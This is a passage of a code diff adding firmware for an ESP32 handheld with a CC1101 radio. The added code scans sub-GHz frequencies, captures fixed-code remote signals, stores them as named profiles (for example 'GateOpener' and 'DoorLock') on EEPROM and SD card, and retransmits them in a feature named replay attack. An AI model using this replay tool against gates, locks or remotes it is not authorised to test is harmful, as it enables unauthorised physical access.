outPath, String* errOut = nullptr) { + if (!subghzEnsureDir(SUBGHZ_DIR)) { + if (errOut) *errOut = "SD not mounted"; + return false; + } + + uint16_t count = 0; + EEPROM.get(ADDR_PROFILE_COUNT, count); + if (count > MAX_PROFILES) count = MAX_PROFILES; + + if (!makeNextExportPath(outPath)) { + if (errOut) *errOut = "No free filename"; + return false; + } + + File f = SD.open(outPath.c_str(), FILE_WRITE); + if (!f) { + if (errOut) *errOut = "Open failed"; + return false; + } + + SubGhzExportHeader h{}; + h.magic = SUBGHZ_EXPORT_MAGIC; + h.version = 1; + h.count = count; + h.profileSize = PROFILE_SIZE; + h.reserved = 0; + + bool ok = (f.write((const uint8_t*)&h, sizeof(h)) == sizeof(h)); + for (uint16_t i = 0; ok && i < count; i++) { + SubGhzProfile p{}; + int addr = ADDR_PROFILE_START + (i * PROFILE_SIZE); + EEPROM.get(addr, p); + ok = (f.write((const uint8_t*)&p, sizeof(p)) == sizeof(p)); + } + f.close(); + + if (!ok && errOut) *errOut = "Write failed"; + return ok; + } + + static bool syncCurrentProfilesToSD(String* errOut = nullptr) { + + if (!subghzEnsureDir(SUBGHZ_DIR)) { + if (errOut) *errOut = "SD not mounted"; + return false; + } + + uint16_t count = 0; + EEPROM.get(ADDR_PROFILE_COUNT, count); + if (count > MAX_PROFILES) count = MAX_PROFILES; + + if (SD.exists(SUBGHZ_CURRENT_PATH)) SD.remove(SUBGHZ_CURRENT_PATH); + File f = SD.open(SUBGHZ_CURRENT_PATH, FILE_WRITE); + if (!f) { + if (errOut) *errOut = "Open failed"; + return false; + } + + SubGhzExportHeader h{}; + h.magic = SUBGHZ_EXPORT_MAGIC; + h.version = 1; + h.count = count; + h.profileSize = PROFILE_SIZE; + h.reserved = 0; + + bool ok = (f.write((const uint8_t*)&h, sizeof(h)) == sizeof(h)); + for (uint16_t i = 0; ok && i < count; i++) { + SubGhzProfile p{}; + int addr = ADDR_PROFILE_START + (i * PROFILE_SIZE); + EEPROM.get(addr, p); + ok = (f.write((const uint8_t*)&p, sizeof(p)) == sizeof(p)); + } + f.close(); + if (!ok && errOut) *errOut = "Write failed"; + return ok; + } + + static bool importProfilesFromSD(const String& path, String* errOut = nullptr) { + if (!subghzMountSD()) { + if (errOut) *errOut = "SD not mounted"; + return false; + } + if (path.isEmpty() || !SD.exists(path.c_str())) { + if (errOut) *errOut = "File not found"; + return false; + } + + File f = SD.open(path.c_str(), FILE_READ); + if (!f) { + if (errOut) *errOut = "Open failed"; + return false; + } + + SubGhzExportHeader h{}; + if (f.read((uint8_t*)&h, sizeof(h)) != sizeof(h)) { f.close(); if (errOut) *errOut="Bad header"; return false; } + if (h.magic != SUBGHZ_EXPORT_MAGIC || h.version != 1) { f.close(); if (errOut) *errOut="Wrong file"; return false; } + if (h.profileSize != PROFILE_SIZE) { f.close(); if (errOut) *errOut="Size mismatch"; return false; } + + uint16_t count = h.count; + if (count > MAX_PROFILES) count = MAX_PROFILES; + + clearProfilesInEeprom(); + for (uint16_t i = 0; i < count; i++) { + SubGhzProfile p{}; + if (f.read((uint8_t*)&p, sizeof(p)) != sizeof(p)) { f.close(); if (errOut) *errOut="Read failed"; return false; } + p.name[MAX_NAME_LENGTH - 1] = '\0'; + EEPROM.put(ADDR_PROFILE_START + (i * PROFILE_SIZE), p); + } + EEPROM.put(ADDR_PROFILE_COUNT, count); + EEPROM.commit(); + f.close(); + return true; + } + + struct SubGhzFileEntry { + String path; + uint16_t count = 0; + bool isCurrent = false; + }; + + static bool readExportHeader(File& f, SubGhzExportHeader& out, String* errOut = nullptr) { + if (f.read((uint8_t*)&out, sizeof(out)) != sizeof(out)) { if (errOut) *errOut="Bad header"; return false; } + if (out.magic != SUBGHZ_EXPORT_MAGIC || out.version != 1) { if (errOut) *errOut="Wrong file"; return false; } + if (out.profileSize != PROFILE_SIZE) { if (errOut) *errOut="Size mismatch"; return false; } + return true; + } + + static bool readProfileAt(const String& path, uint16_t localIndex, SubGhzProfile& out, String* errOut = nullptr) { + if (!subghzMountSD()) { if (errOut) *errOut="SD not mounted"; return false; } + File f = SD.open(path.c_str(), FILE_READ); + if (!f) { if (errOut) *errOut="Open failed"; return false; } + SubGhzExportHeader h{}; + if (!readExportHeader(f, h, errOut)) { f.close(); return false; } + uint16_t count = h.count; if (count > MAX_PROFILES) count = MAX_PROFILES; + if (localIndex >= count) { f.close(); if (errOut) *errOut="Index OOR"; return false; } + uint32_t off = (uint32_t)sizeof(SubGhzExportHeader) + (uint32_t)localIndex * (uint32_t)PROFILE_SIZE; + if (!f.seek(off)) { f.close(); if (errOut) *errOut="Seek failed"; return false; } + if (f.read((uint8_t*)&out, sizeof(out)) != sizeof(out)) { f.close(); if (errOut) *errOut="Read failed"; return false; } + out.name[MAX_NAME_LENGTH - 1] = '\0'; + f.close(); + return true; + } + + static bool listAllProfileFiles(std::vector& out, String* errOut = nullptr) { + out.clear(); + if (!subghzMountSD()) { if (errOut) *errOut="SD not mounted"; return false; } + if (!SD.exists(SUBGHZ_DIR)) { if (errOut) *errOut="No /subghz"; return false; } + File d = SD.open(SUBGHZ_DIR); + if (!d) { if (errOut) *errOut="Open dir failed"; return false; } + + for (;;) { + File f = d.openNextFile(); + if (!f) break; + if (f.isDirectory()) { f.close(); continue; } + String name = String(f.name()); + + String fullPath = String(SUBGHZ_DIR) + "/" + name; + + bool isCurrent = (name == "profiles_current.bin"); + bool isArchive = name.startsWith("profiles_") && name.endsWith(".bin") && !isCurrent; + if (!isCurrent && !isArchive) { f.close(); continue; } + + SubGhzExportHeader h{}; + String herr; + bool ok = readExportHeader(f, h, &herr); + f.close(); + if (!ok) continue; + + uint16_t cnt = h.count; + if (cnt > MAX_PROFILES) cnt = MAX_PROFILES; + if (cnt == 0) continue; + + SubGhzFileEntry e; + e.path = fullPath; + e.count = cnt; + e.isCurrent = isCurrent; + out.push_back(e); + } + d.close(); + + std::sort(out.begin(), out.end(), [](const SubGhzFileEntry& a, const SubGhzFileEntry& b) { + if (a.isCurrent != b.isCurrent) return a.isCurrent > b.isCurrent; + return a.path > b.path; + }); + return true; + } + + static uint16_t totalProfilesInIndex(const std::vector& files) { + uint32_t total = 0; + for (auto& f : files) total += f.count; + if (total > 65535) total = 65535; + return (uint16_t)total; + } + + static bool locateGlobalIndex(const std::vector& files, uint16_t globalIndex, + String& outPath, uint16_t& outLocalIdx) { + uint32_t idx = globalIndex; + for (auto& fe : files) { + if (idx < fe.count) { + outPath = fe.path; + outLocalIdx = (uint16_t)idx; + return true; + } + idx -= fe.count; + } + return false; + } + + static bool deleteProfileFromFile(const String& path, uint16_t localIndex, String* errOut = nullptr) { + if (!subghzMountSD()) { if (errOut) *errOut="SD not mounted"; return false; } + File f = SD.open(path.c_str(), FILE_READ); + if (!f) { if (errOut) *errOut="Open failed"; return false; } + SubGhzExportHeader h{}; + if (!readExportHeader(f, h, errOut)) { f.close(); return false; } + uint16_t count = h.count; if (count > MAX_PROFILES) count = MAX_PROFILES; + if (localIndex >= count) { f.close(); if (errOut) *errOut="Index OOR"; return false; } + + SubGhzProfile buf[MAX_PROFILES]{}; + for (uint16_t i = 0; i < count; i++) { + if (f.read((uint8_t*)&buf[i], sizeof(SubGhzProfile)) != sizeof(SubGhzProfile)) { f.close(); if (errOut) *errOut="Read failed"; return false; } + buf[i].name[MAX_NAME_LENGTH - 1] = '\0'; + } + f.close(); + + for (uint16_t i = localIndex; i + 1 < count; i++) buf[i] = buf[i + 1]; + count--; + + if (SD.exists(path.c_str())) SD.remove(path.c_str()); + File w = SD.open(path.c_str(), FILE_WRITE); + if (!w) { if (errOut) *errOut="Open write failed"; return false; } + + SubGhzExportHeader nh{}; + nh.magic = SUBGHZ_EXPORT_MAGIC; + nh.version = 1; + nh.count = count; + nh.profileSize = PROFILE_SIZE; + nh.reserved = 0; + bool ok = (w.write((const uint8_t*)&nh, sizeof(nh)) == sizeof(nh)); + for (uint16_t i = 0; ok && i < count; i++) { + ok = (w.write((const uint8_t*)&buf[i], sizeof(SubGhzProfile)) == sizeof(SubGhzProfile)); + } + w.close(); + if (!ok && errOut) *errOut="Write failed"; + + if (ok && path.endsWith("profiles_current.bin")) { + importProfilesFromSD(path, nullptr); + } + return ok; + } +} + +#ifdef TFT_BLACK +#undef TFT_BLACK +#endif +#define TFT_BLACK FEATURE_BG + +#ifndef FEATURE_TEXT +#define FEATURE_TEXT ORANGE +#endif +#ifndef FEATURE_WHITE +#define FEATURE_WHITE 0xFFFF +#endif + +#ifdef TFT_WHITE +#undef TFT_WHITE +#endif +#define TFT_WHITE FEATURE_TEXT + +#ifdef WHITE +#undef WHITE +#endif +#define WHITE FEATURE_WHITE + +#ifdef DARK_GRAY +#undef DARK_GRAY +#endif +#define DARK_GRAY UI_FG + +namespace replayat { + +#define EEPROM_SIZE 1440 + +#define ADDR_VALUE 1280 +#define ADDR_BITLEN 1284 +#define ADDR_PROTO 1286 +#define ADDR_FREQ 1288 +#define ADDR_PROFILE_COUNT 1296 +#define ADDR_PROFILE_START 1300 +#define MAX_PROFILES 5 + +#define SCREEN_WIDTH 240 +#define SCREENHEIGHT 320 +#define SCREEN_HEIGHT 320 + +static bool uiDrawn = false; + +#define MAX_NAME_LENGTH 16 + +const char* profileKeyboardRows[] = { + "1234567890", + "QWERTYUIOP", + "ASDFGHJKL", + "ZXCVBNM<-" +}; + +const char* randomNames[] = { + "Signal", "Remote", "KeyFob", "GateOpener", "DoorLock", + "RFTest", "Profile", "Control", "Switch", "Beacon" +}; +const uint8_t numRandomNames = 10; + +struct __attribute__((packed)) Profile { + uint32_t frequency; + uint32_t value; + uint16_t bitLength; + uint16_t protocol; + char name[MAX_NAME_LENGTH]; +}; + +#define PROFILE_SIZE sizeof(Profile) + +uint16_t profileCount = 0; + +RCSwitch mySwitch = RCSwitch(); +arduinoFFT FFTSUB = arduinoFFT(); + +const uint16_t samplesSUB = 256; +const double FrequencySUB = 5000; + +double attenuation_num = 10; + +unsigned int sampling_period; +unsigned long micro_s; + +double vRealSUB[samplesSUB]; +double vImagSUB[samplesSUB]; + +byte red[128], green[128], blue[128]; + +unsigned int epochSUB = 0; +unsigned int colorcursor = 2016; + +int rssi; + +static constexpr uint8_t REPLAY_RX_PIN = SUBGHZ_RX_PIN; +static constexpr uint8_t REPLAY_TX_PIN = SUBGHZ_TX_PIN; + +uint32_t receivedValue = 0; +uint16_t receivedBitLength = 0; +uint16_t receivedProtocol = 0; +const int rssi_threshold = -75; + +static const uint32_t subghz_frequency_list[] = { + 300000000, 303875000, 304250000, 310000000, 315000000, 318000000, + 390000000, 418000000, 433075000, 433420000, 433920000, 434420000, + 434775000, 438900000, 868350000, 915000000, 925000000 +}; + +uint16_t currentFrequencyIndex = 0; +int yshift = 20; + +static bool autoScanEnabled = false; +static uint16_t scanIndex = 0; +static uint32_t lastHopMs = 0; +static uint32_t lockUntilMs = 0; +static constexpr uint32_t SCAN_DWELL_MS = 110; +static constexpr uint32_t LOCK_HOLD_MS = 2500; +static constexpr uint32_t RSSI_LOCK_MS = 1200; +static constexpr int RSSI_DETECT_THRESHOLD = -72; +static constexpr int RSSI_CLEAR_THRESHOLD = -78; +static constexpr uint32_t UI_SCAN_UPDATE_MS = 250; +static uint32_t lastUiScanUpdateMs = 0; +static bool rssiHot = false; + +static uint32_t lastDetectAlertMs = 0; +static uint16_t lastDetectAlertFreq = 0xFFFF; +static uint32_t notifHideAtMs = 0; +static bool notifActive = false; + +static constexpr uint8_t BUZZER_LEDC_CH = 7; +static bool buzzerArmed = false; +static uint32_t buzzerOffAtMs = 0; +static void replayBeep(uint16_t hz = 2200, uint16_t ms = 60) { + #ifdef BUZZER_PIN + ledcSetup(BUZZER_LEDC_CH, 4000, 8); + ledcAttachPin(BUZZER_PIN, BUZZER_LEDC_CH); + ledcWriteTone(BUZZER_LEDC_CH, hz); + buzzerArmed = true; + buzzerOffAtMs = millis() + ms; + #endif +} + +static void replayBeepPoll() { + #ifdef BUZZER_PIN + if (!buzzerArmed) return; + if ((int32_t)(millis() - buzzerOffAtMs) < 0) return; + ledcWriteTone(BUZZER_LEDC_CH, 0); + + ledcDetachPin(BUZZER_PIN); + buzzerArmed = false; + #endif +} + +static void replayShowDetectNotice(const String& reason, int rssi = 0) { + uint32_t now = millis(); + + if (now - lastDetectAlertMs < 1200 && lastDetectAlertFreq == currentFrequencyIndex) return; + lastDetectAlertMs = now; + lastDetectAlertFreq = currentFrequencyIndex; + + char msg[96]; + float mhz = subghz_frequency_list[currentFrequencyIndex] / 1000000.0f; + + snprintf(msg, sizeof(msg), "%s @ %.2f MHz | RSSI %d", reason.c_str(), mhz, rssi); + showNotificationActions("SubGHz Detected", msg, true); + replayBeep(reason == "DECODE" ? 2600 : 2000, 70); + notifActive = true; + notifHideAtMs = 0; +} + +static inline uint16_t freqCount() { + return (uint16_t)(sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0])); +} + +static void tuneToIndex(uint16_t idx, bool persist = true) { + currentFrequencyIndex = idx % freqCount(); + ELECHOUSE_cc1101.setSidle(); + ELECHOUSE_cc1101.setMHZ(subghz_frequency_list[currentFrequencyIndex] / 1000000.0); + ELECHOUSE_cc1101.SetRx(); + if (persist) { + EEPROM.put(ADDR_FREQ, currentFrequencyIndex); + EEPROM.commit(); + } +} + +void updateDisplay() { + uiDrawn = false; + + tft.fillRect(0, 40, 240, 40, TFT_BLACK); + tft.drawLine(0, 80, 240, 80, TFT_WHITE); + + tft.setCursor(5, 20 + yshift); + tft.setTextColor(TFT_CYAN); + tft.print("Freq:"); + tft.setTextColor(TFT_WHITE); + tft.setCursor(50, 20 + yshift); + tft.print(subghz_frequency_list[currentFrequencyIndex] / 1000000.0, 2); + tft.print(" MHz"); + + tft.setCursor(175, 20 + yshift); + bool locked = (autoScanEnabled && lockUntilMs != 0 && (int32_t)(millis() - lockUntilMs) < 0); + tft.setTextColor(autoScanEnabled ? ORANGE : TFT_WHITE); + if (locked) { + tft.print("LOCK"); + } else { + tft.print(autoScanEnabled ? "AUTO" : "MAN "); + } + + tft.setCursor(5, 35 + yshift); + tft.setTextColor(TFT_CYAN); + tft.print("Bit:"); + tft.setTextColor(TFT_WHITE); + tft.setCursor(50, 35 + yshift); + tft.printf("%d", receivedBitLength); + + tft.setCursor(130, 35 + yshift); + tft.setTextColor(TFT_CYAN); + tft.print("RSSI:"); + tft.setTextColor(TFT_WHITE); + tft.setCursor(170, 35 + yshift); + tft.printf("%d", ELECHOUSE_cc1101.getRssi()); + + tft.setCursor(130, 20 + yshift); + tft.setTextColor(TFT_CYAN); + tft.print("Ptc:"); + tft.setTextColor(TFT_WHITE); + tft.setCursor(170, 20 + yshift); + tft.printf("%d", receivedProtocol); + + tft.setCursor(5, 50 + yshift); + tft.setTextColor(TFT_CYAN); + tft.print("Val:"); + tft.setTextColor(TFT_WHITE); + tft.setCursor(50, 50 + yshift); + tft.print(receivedValue); + + ELECHOUSE_cc1101.setSidle(); + ELECHOUSE_cc1101.setMHZ(subghz_frequency_list[currentFrequencyIndex] / 1000000.0); + ELECHOUSE_cc1101.SetRx(); +} + +String getUserInputName() { + OnScreenKeyboardConfig cfg; + cfg.titleLine1 = "[!] Set a name for the saved profile."; + cfg.titleLine2 = "(max 15 chars)"; + cfg.rows = profileKeyboardRows; + cfg.rowCount = 4; + cfg.maxLen = MAX_NAME_LENGTH - 1; + cfg.shuffleNames = randomNames; + cfg.shuffleCount = numRandomNames; + cfg.buttonsY = 195; + cfg.backLabel = "Back"; + cfg.middleLabel = "Shuffle"; + cfg.okLabel = "OK"; + cfg.enableShuffle = true; + cfg.requireNonEmpty = true; + cfg.emptyErrorMsg = "Name cannot be empty!"; + + OnScreenKeyboardResult r = showOnScreenKeyboard(cfg, ""); + + if (!r.accepted) { + + tft.fillScreen(TFT_BLACK); + updateDisplay(); + } + return r.text; +} + +void sendSignal() { + + mySwitch.disableReceive(); + delay(100); + mySwitch.enableTransmit(REPLAY_TX_PIN); + ELECHOUSE_cc1101.SetTx(); + + tft.fillRect(0,40,240,37, TFT_BLACK); + + tft.setCursor(10, 30 + yshift); + tft.print("Sending..."); + tft.setCursor(10, 40 + yshift); + tft.print(receivedValue); + + mySwitch.setProtocol(receivedProtocol); + mySwitch.send(receivedValue, receivedBitLength); + + delay(500); + tft.fillRect(0,40,240,37, TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.print("Done!"); + + ELECHOUSE_cc1101.SetRx(); + mySwitch.disableTransmit(); + delay(100); + mySwitch.enableReceive(REPLAY_RX_PIN); + + delay(500); + updateDisplay(); +} + +void do_sampling() { + + micro_s = micros(); + + #define ALPHA 0.2 + float ewmaRSSI = -50; + +for (int i = 0; i < samplesSUB; i++) { + int rssi = ELECHOUSE_cc1101.getRssi(); + rssi += 100; + + ewmaRSSI = (ALPHA * rssi) + ((1 - ALPHA) * ewmaRSSI); + + vRealSUB[i] = ewmaRSSI * 2; + vImagSUB[i] = 1; + + while (micros() < micro_s + sampling_period); + micro_s += sampling_period; +} + + double mean = 0; + + for (uint16_t i = 0; i < samplesSUB; i++) + mean += vRealSUB[i]; + mean /= samplesSUB; + for (uint16_t i = 0; i < samplesSUB; i++) + vRealSUB[i] -= mean; + + micro_s = micros(); + + FFTSUB.Windowing(vRealSUB, samplesSUB, FFT_WIN_TYP_HAMMING, FFT_FORWARD); + FFTSUB.Compute(vRealSUB, vImagSUB, samplesSUB, FFT_FORWARD); + FFTSUB.ComplexToMagnitude(vRealSUB, vImagSUB, samplesSUB); + +unsigned int left_x = 120; +unsigned int graph_y_offset = 81; +int max_k = 0; + +for (int j = 0; j < samplesSUB >> 1; j++) { + int k = vRealSUB[j] / attenuation_num; + if (k > max_k) + max_k = k; + if (k > 127) k = 127; + + unsigned int color = red[k] << 11 | green[k] << 5 | blue[k]; + unsigned int vertical_x = left_x + j; + + tft.drawPixel(vertical_x, epochSUB + graph_y_offset, color); +} + +for (int j = 0; j < samplesSUB >> 1; j++) { + int k = vRealSUB[j] / attenuation_num; + if (k > max_k) + max_k = k; + if (k > 127) k = 127; + + unsigned int color = red[k] << 11 | green[k] << 5 | blue[k]; + unsigned int mirrored_x = left_x - j; + tft.drawPixel(mirrored_x, epochSUB + graph_y_offset, color); +} + + double tattenuation = max_k / 127.0; + + if (tattenuation > attenuation_num) + attenuation_num = tattenuation; + + delay(10); +} + +void readProfileCount() { + EEPROM.get(ADDR_PROFILE_COUNT, profileCount); + if (profileCount > MAX_PROFILES) profileCount = 0; +} + +void saveProfile() { + readProfileCount(); + + if (profileCount >= MAX_PROFILES) { + + String err, outPath; + if (exportProfilesToSD(outPath, &err)) { + clearProfilesInEeprom(); + profileCount = 0; + + syncCurrentProfilesToSD(nullptr); + } else { + tft.fillScreen(TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.setTextColor(UI_WARN); + tft.print("Storage full!"); + tft.setCursor(10, 45 + yshift); + tft.setTextColor(TFT_WHITE); + tft.print("Insert SD / export fail"); + tft.setCursor(10, 60 + yshift); + tft.print(err); + delay(2000); + updateDisplay(); + float currentBatteryVoltage = readBatteryVoltage(); + drawStatusBar(currentBatteryVoltage, true); + return; + } + } + + if (profileCount < MAX_PROFILES) { + + String customName = getUserInputName(); + + tft.setTextSize(1); + + Profile newProfile; + newProfile.frequency = subghz_frequency_list[currentFrequencyIndex]; + newProfile.value = (uint32_t)receivedValue; + newProfile.bitLength = (uint16_t)receivedBitLength; + newProfile.protocol = (uint16_t)receivedProtocol; + strncpy(newProfile.name, customName.c_str(), MAX_NAME_LENGTH - 1); + newProfile.name[MAX_NAME_LENGTH - 1] = '\0'; + + int addr = ADDR_PROFILE_START + (profileCount * PROFILE_SIZE); + EEPROM.put(addr, newProfile); + EEPROM.commit(); + + profileCount++; + + EEPROM.put(ADDR_PROFILE_COUNT, profileCount); + EEPROM.commit(); + + syncCurrentProfilesToSD(nullptr); + + tft.fillScreen(TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.print("Profile saved!"); + tft.setCursor(10, 40 + yshift); + tft.print("Name: "); + tft.print(newProfile.name); + tft.setCursor(10, 50 + yshift); + tft.print("Profiles saved: "); + tft.println(profileCount); + + } else { + tft.fillScreen(TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.print("Profile storage full!"); + } + + delay(2000); + updateDisplay(); + float currentBatteryVoltage = readBatteryVoltage(); + drawStatusBar(currentBatteryVoltage, true); +} + +void loadProfileCount() { + + readProfileCount(); +} + +void runUI() { + + #define STATUS_BAR_Y_OFFSET 20 + #define STATUS_BAR_HEIGHT 16 + #define ICON_SIZE 16 + #define ICON_NUM 6 + + static int iconX[ICON_NUM] = {90, 130, 170, 210, 50, 10}; + static int iconY = STATUS_BAR_Y_OFFSET; + + static const unsigned char* icons[ICON_NUM] = { + bitmap_icon_sort_up_plus, + bitmap_icon_sort_down_minus, + bitmap_icon_antenna, + bitmap_icon_floppy, + bitmap_icon_random, + bitmap_icon_go_back + }; + + if (!uiDrawn) { + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + tft.fillRect(0, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH, STATUS_BAR_HEIGHT, DARK_GRAY); + + for (int i = 0; i < ICON_NUM; i++) { + if (icons[i] != NULL) { + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); + } + } + tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); + uiDrawn = true; + } + + static unsigned long lastAnimationTime = 0; + static int animationState = 0; + static int activeIcon = -1; + + if (animationState > 0 && millis() - lastAnimationTime >= 150) { + if (animationState == 1) { + tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); + animationState = 2; + + switch (activeIcon) { + case 0: + autoScanEnabled = false; + currentFrequencyIndex = (currentFrequencyIndex + 1) % (sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0])); + tuneToIndex(currentFrequencyIndex, true); + updateDisplay(); + break; + case 1: + autoScanEnabled = false; + currentFrequencyIndex = (currentFrequencyIndex - 1 + (sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0]))) % (sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0])); + tuneToIndex(currentFrequencyIndex, true); + updateDisplay(); + break; + case 2: + sendSignal(); + break; + case 3: + saveProfile(); + break; + case 4: + autoScanEnabled = !autoScanEnabled; + scanIndex = currentFrequencyIndex; + lastHopMs = 0; + lockUntilMs = 0; + lastUiScanUpdateMs = 0; + rssiHot = false; + updateDisplay(); + break; + } + } else if (animationState == 2) { + animationState = 0; + activeIcon = -1; + } + lastAnimationTime = millis(); + } + + static unsigned long lastTouchCheck = 0; + const unsigned long touchCheckInterval = 50; + + if (millis() - lastTouchCheck >= touchCheckInterval) { + int x, y; + if (feature_active && readTouchXY(x, y)) { + if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { + for (int i = 0; i < ICON_NUM; i++) { + if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { + if (icons[i] != NULL && animationState == 0) { + + if (i == 5) { + feature_exit_requested = true; + } else { + + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); + animationState = 1; + activeIcon = i; + lastAnimationTime = millis(); + } + } + break; + } + } + } + } + lastTouchCheck = millis(); + } +} + +void ReplayAttackSetup() { + Serial.begin(115200); + + ELECHOUSE_cc1101.setSpiPin(CC1101_SCK, CC1101_MISO, CC1101_MOSI, CC1101_CS); + + ELECHOUSE_cc1101.Init(); + + ELECHOUSE_cc1101.setGDO(CC1101_GDO0, CC1101_GDO2); + + ELECHOUSE_cc1101.SetRx(); + + mySwitch.enableReceive(REPLAY_RX_PIN); + mySwitch.enableTransmit(REPLAY_TX_PIN); + mySwitch.setRepeatTransmit(8); + + EEPROM.begin(EEPROM_SIZE); + readProfileCount(); + + EEPROM.get(ADDR_VALUE, receivedValue); + EEPROM.get(ADDR_BITLEN, receivedBitLength); + EEPROM.get(ADDR_PROTO, receivedProtocol); + EEPROM.get(ADDR_FREQ, currentFrequencyIndex); + + const uint16_t freqCount = (uint16_t)(sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0])); + if (currentFrequencyIndex >= freqCount) currentFrequencyIndex = 0; + + tuneToIndex(currentFrequencyIndex, false); + + tft.fillScreen(TFT_BLACK); + tft.setRotation(2); + + pcf.pinMode(BTN_LEFT, INPUT_PULLUP); + pcf.pinMode(BTN_RIGHT, INPUT_PULLUP); + pcf.pinMode(BTN_UP, INPUT_PULLUP); + pcf.pinMode(BTN_DOWN, INPUT_PULLUP); + pcf.pinMode(BTN_SELECT, INPUT_PULLUP); + + sampling_period = round(1000000*(1.0/FrequencySUB)); + + for (int i = 0; i < 32; i++) { + red[i] = i / 2; + green[i] = 0; + blue[i] = i; + } + for (int i = 32; i < 64; i++) { + red[i] = i / 2; + green[i] = 0; + blue[i] = 63 - i; + } + for (int i = 64; i < 96; i++) { + red[i] = 31; + green[i] = (i - 64) * 2; + blue[i] = 0; + } + for (int i = 96; i < 128; i++) { + red[i] = 31; + green[i] = 63; + blue[i] = i - 96; + } + + float currentBatteryVoltage = readBatteryVoltage(); + drawStatusBar(currentBatteryVoltage, true); + updateDisplay(); + uiDrawn = false; + +} + +void ReplayAttackLoop() { + + if (feature_active && isButtonPressed(BTN_SELECT)) { + feature_exit_requested = true; + return; + } + + runUI(); + + static unsigned long lastDebounceTime = 0; + const unsigned long debounceDelay = 200; + + static bool prevLeft = false, prevRight = false, prevUp = false, prevDown = false; + const bool leftPressed = isButtonPressed(BTN_LEFT); + const bool rightPressed = isButtonPressed(BTN_RIGHT); + const bool upPressed = isButtonPressed(BTN_UP); + const bool downPressed = isButtonPressed(BTN_DOWN); + + replayBeepPoll(); + + if (notifActive && isNotificationVisible()) { + int x, y; + if (readTouchXY(x, y)) { + NotificationAction act = notificationHandleTouch(x, y); + if (act == NotificationAction::Save) { + notifActive = false; + + tft.fillScreen(TFT_BLACK); + uiDrawn = false; + float v = readBatteryVoltage(); + drawStatusBar(v, true); + runUI(); + updateDisplay(); + + autoScanEnabled = false; + saveProfile(); + + tft.fillScreen(TFT_BLACK); + uiDrawn = false; + v = readBatteryVoltage(); + drawStatusBar(v, true); + runUI(); + updateDisplay(); + } else if (act == NotificationAction::Ok || act == NotificationAction::Close) { + notifActive = false; + + lastDetectAlertMs = millis(); + lastDetectAlertFreq = currentFrequencyIndex; + lockUntilMs = millis() + 1500; + rssiHot = true; + + tft.fillScreen(TFT_BLACK); + uiDrawn = false; + float v = readBatteryVoltage(); + drawStatusBar(v, true); + runUI(); + updateDisplay(); + } + } + + return; + } else if (notifActive && !isNotificationVisible()) { + + notifActive = false; + tft.fillScreen(TFT_BLACK); + uiDrawn = false; + float v = readBatteryVoltage(); + drawStatusBar(v, true); + runUI(); + updateDisplay(); + } + + if (rightPressed && !prevRight && millis() - lastDebounceTime > debounceDelay) { + autoScanEnabled = false; + lockUntilMs = 0; + rssiHot = false; + tuneToIndex((uint16_t)((currentFrequencyIndex + 1) % freqCount()), true); + updateDisplay(); + lastDebounceTime = millis(); + } + if (leftPressed && !prevLeft && millis() - lastDebounceTime > debounceDelay) { + autoScanEnabled = false; + lockUntilMs = 0; + rssiHot = false; + tuneToIndex((uint16_t)((currentFrequencyIndex + freqCount() - 1) % freqCount()), true); + updateDisplay(); + lastDebounceTime = millis(); + } + if (upPressed && !prevUp && receivedValue != 0 && millis() - lastDebounceTime > debounceDelay) { + + autoScanEnabled = false; + lockUntilMs = 0; + rssiHot = false; + sendSignal(); + lastDebounceTime = millis(); + } + if (downPressed && !prevDown && millis() - lastDebounceTime > debounceDelay) { + + autoScanEnabled = !autoScanEnabled; + scanIndex = currentFrequencyIndex; + lastHopMs = 0; + lockUntilMs = 0; + lastUiScanUpdateMs = 0; + rssiHot = false; + updateDisplay(); + lastDebounceTime = millis(); + } + + prevLeft = leftPressed; + prevRight = rightPressed; + prevUp = upPressed; + prevDown = downPressed; + + if (autoScanEnabled) { + uint32_t now = millis(); + if (lockUntilMs != 0 && (int32_t)(now - lockUntilMs) < 0) { + + } else { + + if (lastHopMs == 0 || (now - lastHopMs) >= SCAN_DWELL_MS) { + scanIndex = (uint16_t)((scanIndex + 1) % freqCount()); + + tuneToIndex(scanIndex, false); + lastHopMs = now; + + int rssi = ELECHOUSE_cc1101.getRssi(); + if (!rssiHot && rssi > RSSI_DETECT_THRESHOLD) { + rssiHot = true; + lockUntilMs = now + RSSI_LOCK_MS; + + EEPROM.put(ADDR_FREQ, currentFrequencyIndex); + EEPROM.commit(); + replayShowDetectNotice("RSSI", rssi); + } else if (rssiHot && rssi < RSSI_CLEAR_THRESHOLD) { + rssiHot = false; + } + + if (lastUiScanUpdateMs == 0 || (now - lastUiScanUpdateMs) >= UI_SCAN_UPDATE_MS) { + updateDisplay(); + lastUiScanUpdateMs = now; + } + } + } + } + + do_sampling(); + delay(10); + epochSUB++; + + if (epochSUB >= tft.width()) + epochSUB = 0; + + if (mySwitch.available()) { + receivedValue = mySwitch.getReceivedValue(); + receivedBitLength = mySwitch.getReceivedBitlength(); + receivedProtocol = mySwitch.getReceivedProtocol(); + + EEPROM.put(ADDR_VALUE, receivedValue); + EEPROM.put(ADDR_BITLEN, receivedBitLength); + EEPROM.put(ADDR_PROTO, receivedProtocol); + EEPROM.commit(); + + updateDisplay(); + + if (autoScanEnabled) { + lockUntilMs = millis() + LOCK_HOLD_MS; + scanIndex = currentFrequencyIndex; + rssiHot = false; + + 